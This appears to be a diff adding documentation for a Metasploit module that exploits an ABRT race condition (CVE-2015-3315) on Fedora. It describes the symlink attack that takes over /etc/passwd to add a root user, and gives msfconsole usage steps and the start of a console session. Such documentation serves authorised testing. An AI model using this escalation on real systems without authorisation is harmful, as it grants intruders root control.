+## Description
+
+  This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler.
+
+
+## Vulnerable Application
+
+  A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes.
+
+  This module has been tested successfully on ABRT packaged versions:
+
+  * 2.1.5-1.fc19 on Fedora Desktop 19 x86_64
+  * 2.2.1-1.fc19 on Fedora Desktop 19 x86_64
+  * 2.2.2-2.fc20 on Fedora Desktop 20 x86_64
+
+  Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Get a session
+  3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc`
+  4. Do: `set SESSION [SESSION]`
+  5. Do: `check`
+  6. Do: `run`
+  7. You should get a new *root* session
+
+
+## Options
+
+  **USERNAME**
+
+  Username for the new UID=0 user (default: random)
+
+  **SESSION**
+
+  Which session to use, which can be viewed with `sessions`
+
+  **WritableDir**
+
+  A writable directory file system path. (default: `/tmp`)
+
+
+## Scenarios
+
+  ```
+  msf > use exploit/linux/local/abrt_raceabrt_priv_esc 
+  msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1
+  session => 1
+  msf exploit(linux/local/abrt_raceabrt_priv_esc) > run
+
+  [!] SESSION may not be compatible with this module.
